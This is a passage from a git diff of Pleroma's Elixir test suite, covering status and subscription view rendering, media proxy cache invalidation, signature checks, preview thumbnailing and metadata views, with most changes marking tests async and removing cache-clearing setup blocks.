	assert result[:account][:id] == to_string(user.id)
	assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec())
	end

	test "a note with null content" do
	note = insert(:note_activity)
	note_object = Object.normalize(note)

	data =
	note_object.data
	\|> Map.put("content", nil)

	Object.change(note_object, %{data: data})
	\|> Object.update_and_set_cache()

	User.get_cached_by_ap_id(note.data["actor"])

	status = StatusView.render("show.json", %{activity: note})

	assert status.content == ""
	assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec())
	end

	test "a note activity" do
	note = insert(:note_activity)
	object_data = Object.normalize(note).data
	user = User.get_cached_by_ap_id(note.data["actor"])

	convo_id = Utils.context_to_conversation_id(object_data["context"])

	status = StatusView.render("show.json", %{activity: note})

	created_at =
	(object_data["published"] \|\| "")
	\|> String.replace(~r/\.\d+Z/, ".000Z")

	expected = %{
	id: to_string(note.id),
	uri: object_data["id"],
	url: Pleroma.Web.Router.Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, note),
	account: AccountView.render("show.json", %{user: user, skip_visibility_check: true}),
	in_reply_to_id: nil,
	in_reply_to_account_id: nil,
	card: nil,
	reblog: nil,
	content: HTML.filter_tags(object_data["content"]),
	text: nil,
	created_at: created_at,
	reblogs_count: 0,
	replies_count: 0,
	favourites_count: 0,
	reblogged: false,
	bookmarked: false,
	favourited: false,
	muted: false,
	pinned: false,
	sensitive: false,
	poll: nil,
	spoiler_text: HTML.filter_tags(object_data["summary"]),
	visibility: "public",
	media_attachments: [],
	mentions: [],
	tags: [
	%{
	name: "#{object_data["tag"]}",
	url: "/tag/#{object_data["tag"]}"
	}
	],
	application: %{
	name: "Web",
	website: nil
	},
	language: nil,
	emojis: [
	%{
	shortcode: "2hu",
	url: "corndog.png",
	static_url: "corndog.png",
	visible_in_picker: false
	}
	],
	pleroma: %{
	local: true,
	conversation_id: convo_id,
	in_reply_to_account_acct: nil,
	content: %{"text/plain" => HTML.strip_tags(object_data["content"])},
	spoiler_text: %{"text/plain" => HTML.strip_tags(object_data["summary"])},
	expires_at: nil,
	direct_conversation_id: nil,
	thread_muted: false,
	emoji_reactions: [],
	parent_visible: false
	}
	}

	assert status == expected
	assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec())
	end

	test "tells if the message is muted for some reason" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, _user_relationships} = User.mute(user, other_user)

	{:ok, activity} = CommonAPI.post(other_user, %{status: "test"})

	relationships_opt = UserRelationship.view_relationships_option(user, [other_user])

	opts = %{activity: activity}
	status = StatusView.render("show.json", opts)
	assert status.muted == false
	assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec())

	status = StatusView.render("show.json", Map.put(opts, :relationships, relationships_opt))
	assert status.muted == false

	for_opts = %{activity: activity, for: user}
	status = StatusView.render("show.json", for_opts)
	assert status.muted == true

	status = StatusView.render("show.json", Map.put(for_opts, :relationships, relationships_opt))
	assert status.muted == true
	assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec())
	end

	test "tells if the message is thread muted" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, _user_relationships} = User.mute(user, other_user)

	{:ok, activity} = CommonAPI.post(other_user, %{status: "test"})
	status = StatusView.render("show.json", %{activity: activity, for: user})

	assert status.pleroma.thread_muted == false

	{:ok, activity} = CommonAPI.add_mute(user, activity)

	status = StatusView.render("show.json", %{activity: activity, for: user})

	assert status.pleroma.thread_muted == true
	end

	test "tells if the status is bookmarked" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "Cute girls doing cute things"})
	status = StatusView.render("show.json", %{activity: activity})

	assert status.bookmarked == false

	status = StatusView.render("show.json", %{activity: activity, for: user})

	assert status.bookmarked == false

	{:ok, _bookmark} = Bookmark.create(user.id, activity.id)

	activity = Activity.get_by_id_with_object(activity.id)

	status = StatusView.render("show.json", %{activity: activity, for: user})

	assert status.bookmarked == true
	end

	test "a reply" do
	note = insert(:note_activity)
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "he", in_reply_to_status_id: note.id})

	status = StatusView.render("show.json", %{activity: activity})

	assert status.in_reply_to_id == to_string(note.id)

	[status] = StatusView.render("index.json", %{activities: [activity], as: :activity})

	assert status.in_reply_to_id == to_string(note.id)
	end

	test "contains mentions" do
	user = insert(:user)
	mentioned = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "hi @#{mentioned.nickname}"})

	status = StatusView.render("show.json", %{activity: activity})

	assert status.mentions ==
	Enum.map([mentioned], fn u -> AccountView.render("mention.json", %{user: u}) end)

	assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec())
	end

	test "create mentions from the 'to' field" do
	%User{ap_id: recipient_ap_id} = insert(:user)
	cc = insert_pair(:user) \|> Enum.map(& &1.ap_id)

	object =
	insert(:note, %{
	data: %{
	"to" => [recipient_ap_id],
	"cc" => cc
	}
	})

	activity =
	insert(:note_activity, %{
	note: object,
	recipients: [recipient_ap_id \| cc]
	})

	assert length(activity.recipients) == 3

	%{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity})

	assert length(mentions) == 1
	assert mention.url == recipient_ap_id
	end

	test "create mentions from the 'tag' field" do
	recipient = insert(:user)
	cc = insert_pair(:user) \|> Enum.map(& &1.ap_id)

	object =
	insert(:note, %{
	data: %{
	"cc" => cc,
	"tag" => [
	%{
	"href" => recipient.ap_id,
	"name" => recipient.nickname,
	"type" => "Mention"
	},
	%{
	"href" => "https://example.com/search?tag=test",
	"name" => "#test",
	"type" => "Hashtag"
	}
	]
	}
	})

	activity =
	insert(:note_activity, %{
	note: object,
	recipients: [recipient.ap_id \| cc]
	})

	assert length(activity.recipients) == 3

	%{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity})

	assert length(mentions) == 1
	assert mention.url == recipient.ap_id
	end

	test "attachments" do
	object = %{
	"type" => "Image",
	"url" => [
	%{
	"mediaType" => "image/png",
	"href" => "someurl"
	}
	],
	"blurhash" => "UJJ8X[xYW,%Jtq%NNFbXB5j]IVM\|9GV=WHRn",
	"uuid" => 6
	}

	expected = %{
	id: "1638338801",
	type: "image",
	url: "someurl",
	remote_url: "someurl",
	preview_url: "someurl",
	text_url: "someurl",
	description: nil,
	pleroma: %{mime_type: "image/png"},
	blurhash: "UJJ8X[xYW,%Jtq%NNFbXB5j]IVM\|9GV=WHRn"
	}

	api_spec = Pleroma.Web.ApiSpec.spec()

	assert expected == StatusView.render("attachment.json", %{attachment: object})
	assert_schema(expected, "Attachment", api_spec)

	# If theres a "id", use that instead of the generated one
	object = Map.put(object, "id", 2)
	result = StatusView.render("attachment.json", %{attachment: object})

	assert %{id: "2"} = result
	assert_schema(result, "Attachment", api_spec)
	end

	test "put the url advertised in the Activity in to the url attribute" do
	id = "https://wedistribute.org/wp-json/pterotype/v1/object/85810"
	[activity] = Activity.search(nil, id)

	status = StatusView.render("show.json", %{activity: activity})

	assert status.uri == id
	assert status.url == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/"
	end

	test "a reblog" do
	user = insert(:user)
	activity = insert(:note_activity)

	{:ok, reblog} = CommonAPI.repeat(activity.id, user)

	represented = StatusView.render("show.json", %{for: user, activity: reblog})

	assert represented[:id] == to_string(reblog.id)
	assert represented[:reblog][:id] == to_string(activity.id)
	assert represented[:emojis] == []
	assert_schema(represented, "Status", Pleroma.Web.ApiSpec.spec())
	end

	test "a peertube video" do
	user = insert(:user)

	{:ok, object} =
	Pleroma.Object.Fetcher.fetch_object_from_id(
	"https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3"
	)

	%Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"])

	represented = StatusView.render("show.json", %{for: user, activity: activity})

	assert represented[:id] == to_string(activity.id)
	assert length(represented[:media_attachments]) == 1
	assert_schema(represented, "Status", Pleroma.Web.ApiSpec.spec())
	end

	test "funkwhale audio" do
	user = insert(:user)

	{:ok, object} =
	Pleroma.Object.Fetcher.fetch_object_from_id(
	"https://channels.tests.funkwhale.audio/federation/music/uploads/42342395-0208-4fee-a38d-259a6dae0871"
	)

	%Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"])

	represented = StatusView.render("show.json", %{for: user, activity: activity})

	assert represented[:id] == to_string(activity.id)
	assert length(represented[:media_attachments]) == 1
	end

	test "a Mobilizon event" do
	user = insert(:user)

	{:ok, object} =
	Pleroma.Object.Fetcher.fetch_object_from_id(
	"https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39"
	)

	%Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"])

	represented = StatusView.render("show.json", %{for: user, activity: activity})

	assert represented[:id] == to_string(activity.id)

	assert represented[:url] ==
	"https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39"

	assert represented[:content] ==
	"<p><a href=\"https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39\">Mobilizon Launching Party</a></p><p>Mobilizon is now federated! 🎉</p><p></p><p>You can view this event from other instances if they are subscribed to mobilizon.org, and soon directly from Mastodon and Pleroma. It is possible that you may see some comments from other instances, including Mastodon ones, just below.</p><p></p><p>With a Mobilizon account on an instance, you may <strong>participate</strong> at events from other instances and <strong>add comments</strong> on events.</p><p></p><p>Of course, it's still <u>a work in progress</u>: if reports made from an instance on events and comments can be federated, you can't block people right now, and moderators actions are rather limited, but this <strong>will definitely get fixed over time</strong> until first stable version next year.</p><p></p><p>Anyway, if you want to come up with some feedback, head over to our forum or - if you feel you have technical skills and are familiar with it - on our Gitlab repository.</p><p></p><p>Also, to people that want to set Mobilizon themselves even though we really don't advise to do that for now, we have a little documentation but it's quite the early days and you'll probably need some help. No worries, you can chat with us on our Forum or though our Matrix channel.</p><p></p><p>Check our website for more informations and follow us on Twitter or Mastodon.</p>"
	end

	describe "build_tags/1" do
	test "it returns a a dictionary tags" do
	object_tags = [
	"fediverse",
	"mastodon",
	"nextcloud",
	%{
	"href" => "https://kawen.space/users/lain",
	"name" => "@lain@kawen.space",
	"type" => "Mention"
	}
	]

	assert StatusView.build_tags(object_tags) == [
	%{name: "fediverse", url: "/tag/fediverse"},
	%{name: "mastodon", url: "/tag/mastodon"},
	%{name: "nextcloud", url: "/tag/nextcloud"}
	]
	end
	end

	describe "rich media cards" do
	test "a rich media card without a site name renders correctly" do
	page_url = "http://example.com"

	card = %{
	url: page_url,
	image: page_url <> "/example.jpg",
	title: "Example website"
	}

	%{provider_name: "example.com"} =
	StatusView.render("card.json", %{page_url: page_url, rich_media: card})
	end

	test "a rich media card without a site name or image renders correctly" do
	page_url = "http://example.com"

	card = %{
	url: page_url,
	title: "Example website"
	}

	%{provider_name: "example.com"} =
	StatusView.render("card.json", %{page_url: page_url, rich_media: card})
	end

	test "a rich media card without an image renders correctly" do
	page_url = "http://example.com"

	card = %{
	url: page_url,
	site_name: "Example site name",
	title: "Example website"
	}

	%{provider_name: "example.com"} =
	StatusView.render("card.json", %{page_url: page_url, rich_media: card})
	end

	test "a rich media card with all relevant data renders correctly" do
	page_url = "http://example.com"

	card = %{
	url: page_url,
	site_name: "Example site name",
	title: "Example website",
	image: page_url <> "/example.jpg",
	description: "Example description"
	}

	%{provider_name: "example.com"} =
	StatusView.render("card.json", %{page_url: page_url, rich_media: card})
	end
	end

	test "does not embed a relationship in the account" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status: "drink more water"
	})

	result = StatusView.render("show.json", %{activity: activity, for: other_user})

	assert result[:account][:pleroma][:relationship] == %{}
	assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec())
	end

	test "does not embed a relationship in the account in reposts" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status: "˙˙ɐʎns"
	})

	{:ok, activity} = CommonAPI.repeat(activity.id, other_user)

	result = StatusView.render("show.json", %{activity: activity, for: user})

	assert result[:account][:pleroma][:relationship] == %{}
	assert result[:reblog][:account][:pleroma][:relationship] == %{}
	assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec())
	end

	test "visibility/list" do
	user = insert(:user)

	{:ok, list} = Pleroma.List.create("foo", user)

	{:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"})

	status = StatusView.render("show.json", activity: activity)

	assert status.visibility == "list"
	end

	test "has a field for parent visibility" do
	user = insert(:user)
	poster = insert(:user)

	{:ok, invisible} = CommonAPI.post(poster, %{status: "hey", visibility: "private"})

	{:ok, visible} =
	CommonAPI.post(poster, %{status: "hey", visibility: "private", in_reply_to_id: invisible.id})

	status = StatusView.render("show.json", activity: visible, for: user)
	refute status.pleroma.parent_visible

	status = StatusView.render("show.json", activity: visible, for: poster)
	assert status.pleroma.parent_visible
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/views/subscription_view_test.exs b/test/pleroma/web/mastodon_api/views/subscription_view_test.exs
	index 981524c0e..c2bb535c5 100644
	--- a/test/pleroma/web/mastodon_api/views/subscription_view_test.exs
	+++ b/test/pleroma/web/mastodon_api/views/subscription_view_test.exs
	@@ -1,23 +1,23 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.SubscriptionViewTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory
	alias Pleroma.Web.MastodonAPI.SubscriptionView, as: View
	alias Pleroma.Web.Push

	test "Represent a subscription" do
	subscription = insert(:push_subscription, data: %{"alerts" => %{"mention" => true}})

	expected = %{
	alerts: %{"mention" => true},
	endpoint: subscription.endpoint,
	id: to_string(subscription.id),
	server_key: Keyword.get(Push.vapid_config(), :public_key)
	}

	assert expected == View.render("show.json", %{subscription: subscription})
	end
	end
	diff --git a/test/pleroma/web/media_proxy/invalidation/http_test.exs b/test/pleroma/web/media_proxy/invalidation/http_test.exs
	index 13d081325..c81010423 100644
	--- a/test/pleroma/web/media_proxy/invalidation/http_test.exs
	+++ b/test/pleroma/web/media_proxy/invalidation/http_test.exs
	@@ -1,43 +1,39 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MediaProxy.Invalidation.HttpTest do
	use ExUnit.Case
	alias Pleroma.Web.MediaProxy.Invalidation

	import ExUnit.CaptureLog
	import Tesla.Mock

	- setup do
	- on_exit(fn -> Cachex.clear(:banned_urls_cache) end)
	- end
	-
	test "logs hasn't error message when request is valid" do
	mock(fn
	%{method: :purge, url: "http://example.com/media/example.jpg"} ->
	%Tesla.Env{status: 200}
	end)

	refute capture_log(fn ->
	assert Invalidation.Http.purge(
	["http://example.com/media/example.jpg"],
	[]
	) == {:ok, ["http://example.com/media/example.jpg"]}
	end) =~ "Error while cache purge"
	end

	test "it write error message in logs when request invalid" do
	mock(fn
	%{method: :purge, url: "http://example.com/media/example1.jpg"} ->
	%Tesla.Env{status: 404}
	end)

	assert capture_log(fn ->
	assert Invalidation.Http.purge(
	["http://example.com/media/example1.jpg"],
	[]
	) == {:ok, ["http://example.com/media/example1.jpg"]}
	end) =~ "Error while cache purge: url - http://example.com/media/example1.jpg"
	end
	end
	diff --git a/test/pleroma/web/media_proxy/invalidation/script_test.exs b/test/pleroma/web/media_proxy/invalidation/script_test.exs
	index 692cbb2df..6940a4539 100644
	--- a/test/pleroma/web/media_proxy/invalidation/script_test.exs
	+++ b/test/pleroma/web/media_proxy/invalidation/script_test.exs
	@@ -1,30 +1,26 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MediaProxy.Invalidation.ScriptTest do
	- use ExUnit.Case
	+ use ExUnit.Case, async: true
	alias Pleroma.Web.MediaProxy.Invalidation

	import ExUnit.CaptureLog

	- setup do
	- on_exit(fn -> Cachex.clear(:banned_urls_cache) end)
	- end
	-
	test "it logger error when script not found" do
	assert capture_log(fn ->
	assert Invalidation.Script.purge(
	["http://example.com/media/example.jpg"],
	script_path: "./example"
	) == {:error, "%ErlangError{original: :enoent}"}
	end) =~ "Error while cache purge: %ErlangError{original: :enoent}"

	capture_log(fn ->
	assert Invalidation.Script.purge(
	["http://example.com/media/example.jpg"],
	[]
	) == {:error, "\"not found script path\""}
	end)
	end
	end
	diff --git a/test/pleroma/web/media_proxy/invalidation_test.exs b/test/pleroma/web/media_proxy/invalidation_test.exs
	index aa1435ac0..b7be36b47 100644
	--- a/test/pleroma/web/media_proxy/invalidation_test.exs
	+++ b/test/pleroma/web/media_proxy/invalidation_test.exs
	@@ -1,68 +1,63 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MediaProxy.InvalidationTest do
	- use ExUnit.Case
	- use Pleroma.Tests.Helpers
	+ use Pleroma.DataCase

	alias Pleroma.Config
	alias Pleroma.Web.MediaProxy.Invalidation

	import ExUnit.CaptureLog
	import Mock
	import Tesla.Mock

	setup do: clear_config([:media_proxy])

	- setup do
	- on_exit(fn -> Cachex.clear(:banned_urls_cache) end)
	- end
	-
	describe "Invalidation.Http" do
	test "perform request to clear cache" do
	Config.put([:media_proxy, :enabled], false)
	Config.put([:media_proxy, :invalidation, :enabled], true)
	Config.put([:media_proxy, :invalidation, :provider], Invalidation.Http)

	Config.put([Invalidation.Http], method: :purge, headers: [{"x-refresh", 1}])
	image_url = "http://example.com/media/example.jpg"
	Pleroma.Web.MediaProxy.put_in_banned_urls(image_url)

	mock(fn
	%{
	method: :purge,
	url: "http://example.com/media/example.jpg",
	headers: [{"x-refresh", 1}]
	} ->
	%Tesla.Env{status: 200}
	end)

	assert capture_log(fn ->
	assert Pleroma.Web.MediaProxy.in_banned_urls(image_url)
	assert Invalidation.purge([image_url]) == {:ok, [image_url]}
	assert Pleroma.Web.MediaProxy.in_banned_urls(image_url)
	end) =~ "Running cache purge: [\"#{image_url}\"]"
	end
	end

	describe "Invalidation.Script" do
	test "run script to clear cache" do
	Config.put([:media_proxy, :enabled], false)
	Config.put([:media_proxy, :invalidation, :enabled], true)
	Config.put([:media_proxy, :invalidation, :provider], Invalidation.Script)
	Config.put([Invalidation.Script], script_path: "purge-nginx")

	image_url = "http://example.com/media/example.jpg"
	Pleroma.Web.MediaProxy.put_in_banned_urls(image_url)

	with_mocks [{System, [], [cmd: fn _, _ -> {"ok", 0} end]}] do
	assert capture_log(fn ->
	assert Pleroma.Web.MediaProxy.in_banned_urls(image_url)
	assert Invalidation.purge([image_url]) == {:ok, [image_url]}
	assert Pleroma.Web.MediaProxy.in_banned_urls(image_url)
	end) =~ "Running cache purge: [\"#{image_url}\"]"
	end
	end
	end
	end
	diff --git a/test/pleroma/web/media_proxy/media_proxy_controller_test.exs b/test/pleroma/web/media_proxy/media_proxy_controller_test.exs
	index e9b584822..65cf2a01b 100644
	--- a/test/pleroma/web/media_proxy/media_proxy_controller_test.exs
	+++ b/test/pleroma/web/media_proxy/media_proxy_controller_test.exs
	@@ -1,342 +1,338 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do
	use Pleroma.Web.ConnCase

	import Mock

	alias Pleroma.Web.MediaProxy
	alias Plug.Conn

	- setup do
	- on_exit(fn -> Cachex.clear(:banned_urls_cache) end)
	- end
	-
	describe "Media Proxy" do
	setup do
	clear_config([:media_proxy, :enabled], true)
	clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000")

	[url: MediaProxy.encode_url("https://google.fn/test.png")]
	end

	test "it returns 404 when disabled", %{conn: conn} do
	clear_config([:media_proxy, :enabled], false)

	assert %Conn{
	status: 404,
	resp_body: "Not Found"
	} = get(conn, "/proxy/hhgfh/eeeee")

	assert %Conn{
	status: 404,
	resp_body: "Not Found"
	} = get(conn, "/proxy/hhgfh/eeee/fff")
	end

	test "it returns 403 for invalid signature", %{conn: conn, url: url} do
	Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000")
	%{path: path} = URI.parse(url)

	assert %Conn{
	status: 403,
	resp_body: "Forbidden"
	} = get(conn, path)

	assert %Conn{
	status: 403,
	resp_body: "Forbidden"
	} = get(conn, "/proxy/hhgfh/eeee")

	assert %Conn{
	status: 403,
	resp_body: "Forbidden"
	} = get(conn, "/proxy/hhgfh/eeee/fff")
	end

	test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do
	invalid_url = String.replace(url, "test.png", "test-file.png")
	response = get(conn, invalid_url)
	assert response.status == 302
	assert redirected_to(response) == url
	end

	test "it performs ReverseProxy.call with valid signature", %{conn: conn, url: url} do
	with_mock Pleroma.ReverseProxy,
	call: fn _conn, _url, _opts -> %Conn{status: :success} end do
	assert %Conn{status: :success} = get(conn, url)
	end
	end

	test "it returns 404 when url is in banned_urls cache", %{conn: conn, url: url} do
	MediaProxy.put_in_banned_urls("https://google.fn/test.png")

	with_mock Pleroma.ReverseProxy,
	call: fn _conn, _url, _opts -> %Conn{status: :success} end do
	assert %Conn{status: 404, resp_body: "Not Found"} = get(conn, url)
	end
	end
	end

	describe "Media Preview Proxy" do
	def assert_dependencies_installed do
	missing_dependencies = Pleroma.Helpers.MediaHelper.missing_dependencies()

	assert missing_dependencies == [],
	"Error: missing dependencies (please refer to `docs/installation`): #{
	inspect(missing_dependencies)
	}"
	end

	setup do
	clear_config([:media_proxy, :enabled], true)
	clear_config([:media_preview_proxy, :enabled], true)
	clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000")

	original_url = "https://google.fn/test.png"

	[
	url: MediaProxy.encode_preview_url(original_url),
	media_proxy_url: MediaProxy.encode_url(original_url)
	]
	end

	test "returns 404 when media proxy is disabled", %{conn: conn} do
	clear_config([:media_proxy, :enabled], false)

	assert %Conn{
	status: 404,
	resp_body: "Not Found"
	} = get(conn, "/proxy/preview/hhgfh/eeeee")

	assert %Conn{
	status: 404,
	resp_body: "Not Found"
	} = get(conn, "/proxy/preview/hhgfh/fff")
	end

	test "returns 404 when disabled", %{conn: conn} do
	clear_config([:media_preview_proxy, :enabled], false)

	assert %Conn{
	status: 404,
	resp_body: "Not Found"
	} = get(conn, "/proxy/preview/hhgfh/eeeee")

	assert %Conn{
	status: 404,
	resp_body: "Not Found"
	} = get(conn, "/proxy/preview/hhgfh/fff")
	end

	test "it returns 403 for invalid signature", %{conn: conn, url: url} do
	Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000")
	%{path: path} = URI.parse(url)

	assert %Conn{
	status: 403,
	resp_body: "Forbidden"
	} = get(conn, path)

	assert %Conn{
	status: 403,
	resp_body: "Forbidden"
	} = get(conn, "/proxy/preview/hhgfh/eeee")

	assert %Conn{
	status: 403,
	resp_body: "Forbidden"
	} = get(conn, "/proxy/preview/hhgfh/eeee/fff")
	end

	test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do
	invalid_url = String.replace(url, "test.png", "test-file.png")
	response = get(conn, invalid_url)
	assert response.status == 302
	assert redirected_to(response) == url
	end

	test "responds with 424 Failed Dependency if HEAD request to media proxy fails", %{
	conn: conn,
	url: url,
	media_proxy_url: media_proxy_url
	} do
	Tesla.Mock.mock(fn
	%{method: "head", url: ^media_proxy_url} ->
	%Tesla.Env{status: 500, body: ""}
	end)

	response = get(conn, url)
	assert response.status == 424
	assert response.resp_body == "Can't fetch HTTP headers (HTTP 500)."
	end

	test "redirects to media proxy URI on unsupported content type", %{
	conn: conn,
	url: url,
	media_proxy_url: media_proxy_url
	} do
	Tesla.Mock.mock(fn
	%{method: "head", url: ^media_proxy_url} ->
	%Tesla.Env{status: 200, body: "", headers: [{"content-type", "application/pdf"}]}
	end)

	response = get(conn, url)
	assert response.status == 302
	assert redirected_to(response) == media_proxy_url
	end

	test "with `static=true` and GIF image preview requested, responds with JPEG image", %{
	conn: conn,
	url: url,
	media_proxy_url: media_proxy_url
	} do
	assert_dependencies_installed()

	# Setting a high :min_content_length to ensure this scenario is not affected by its logic
	clear_config([:media_preview_proxy, :min_content_length], 1_000_000_000)

	Tesla.Mock.mock(fn
	%{method: "head", url: ^media_proxy_url} ->
	%Tesla.Env{
	status: 200,
	body: "",
	headers: [{"content-type", "image/gif"}, {"content-length", "1001718"}]
	}

	%{method: :get, url: ^media_proxy_url} ->
	%Tesla.Env{status: 200, body: File.read!("test/fixtures/image.gif")}
	end)

	response = get(conn, url <> "?static=true")

	assert response.status == 200
	assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"]
	assert response.resp_body != ""
	end

	test "with GIF image preview requested and no `static` param, redirects to media proxy URI",
	%{
	conn: conn,
	url: url,
	media_proxy_url: media_proxy_url
	} do
	Tesla.Mock.mock(fn
	%{method: "head", url: ^media_proxy_url} ->
	%Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/gif"}]}
	end)

	response = get(conn, url)

	assert response.status == 302
	assert redirected_to(response) == media_proxy_url
	end

	test "with `static` param and non-GIF image preview requested, " <>
	"redirects to media preview proxy URI without `static` param",
	%{
	conn: conn,
	url: url,
	media_proxy_url: media_proxy_url
	} do
	Tesla.Mock.mock(fn
	%{method: "head", url: ^media_proxy_url} ->
	%Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]}
	end)

	response = get(conn, url <> "?static=true")

	assert response.status == 302
	assert redirected_to(response) == url
	end

	test "with :min_content_length setting not matched by Content-Length header, " <>
	"redirects to media proxy URI",
	%{
	conn: conn,
	url: url,
	media_proxy_url: media_proxy_url
	} do
	clear_config([:media_preview_proxy, :min_content_length], 100_000)

	Tesla.Mock.mock(fn
	%{method: "head", url: ^media_proxy_url} ->
	%Tesla.Env{
	status: 200,
	body: "",
	headers: [{"content-type", "image/gif"}, {"content-length", "5000"}]
	}
	end)

	response = get(conn, url)

	assert response.status == 302
	assert redirected_to(response) == media_proxy_url
	end

	test "thumbnails PNG images into PNG", %{
	conn: conn,
	url: url,
	media_proxy_url: media_proxy_url
	} do
	assert_dependencies_installed()

	Tesla.Mock.mock(fn
	%{method: "head", url: ^media_proxy_url} ->
	%Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/png"}]}

	%{method: :get, url: ^media_proxy_url} ->
	%Tesla.Env{status: 200, body: File.read!("test/fixtures/image.png")}
	end)

	response = get(conn, url)

	assert response.status == 200
	assert Conn.get_resp_header(response, "content-type") == ["image/png"]
	assert response.resp_body != ""
	end

	test "thumbnails JPEG images into JPEG", %{
	conn: conn,
	url: url,
	media_proxy_url: media_proxy_url
	} do
	assert_dependencies_installed()

	Tesla.Mock.mock(fn
	%{method: "head", url: ^media_proxy_url} ->
	%Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]}

	%{method: :get, url: ^media_proxy_url} ->
	%Tesla.Env{status: 200, body: File.read!("test/fixtures/image.jpg")}
	end)

	response = get(conn, url)

	assert response.status == 200
	assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"]
	assert response.resp_body != ""
	end

	test "redirects to media proxy URI in case of thumbnailing error", %{
	conn: conn,
	url: url,
	media_proxy_url: media_proxy_url
	} do
	Tesla.Mock.mock(fn
	%{method: "head", url: ^media_proxy_url} ->
	%Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]}

	%{method: :get, url: ^media_proxy_url} ->
	%Tesla.Env{status: 200, body: "<html><body>error</body></html>"}
	end)

	response = get(conn, url)

	assert response.status == 302
	assert redirected_to(response) == media_proxy_url
	end
	end
	end
	diff --git a/test/pleroma/web/metadata/player_view_test.exs b/test/pleroma/web/metadata/player_view_test.exs
	index e6c990242..6d22317d2 100644
	--- a/test/pleroma/web/metadata/player_view_test.exs
	+++ b/test/pleroma/web/metadata/player_view_test.exs
	@@ -1,33 +1,33 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Metadata.PlayerViewTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.Metadata.PlayerView

	test "it renders audio tag" do
	res =
	PlayerView.render(
	"player.html",
	%{"mediaType" => "audio", "href" => "test-href"}
	)
	\|> Phoenix.HTML.safe_to_string()

	assert res ==
	"<audio controls><source src=\"test-href\" type=\"audio\">Your browser does not support audio playback.</audio>"
	end

	test "it renders videos tag" do
	res =
	PlayerView.render(
	"player.html",
	%{"mediaType" => "video", "href" => "test-href"}
	)
	\|> Phoenix.HTML.safe_to_string()

	assert res ==
	"<video controls loop><source src=\"test-href\" type=\"video\">Your browser does not support video playback.</video>"
	end
	end
	diff --git a/test/pleroma/web/metadata/providers/feed_test.exs b/test/pleroma/web/metadata/providers/feed_test.exs
	index e6e5cc5ed..c7359e00b 100644
	--- a/test/pleroma/web/metadata/providers/feed_test.exs
	+++ b/test/pleroma/web/metadata/providers/feed_test.exs
	@@ -1,18 +1,18 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Metadata.Providers.FeedTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory
	alias Pleroma.Web.Metadata.Providers.Feed

	test "it renders a link to user's atom feed" do
	user = insert(:user, nickname: "lain")

	assert Feed.build_tags(%{user: user}) == [
	{:link,
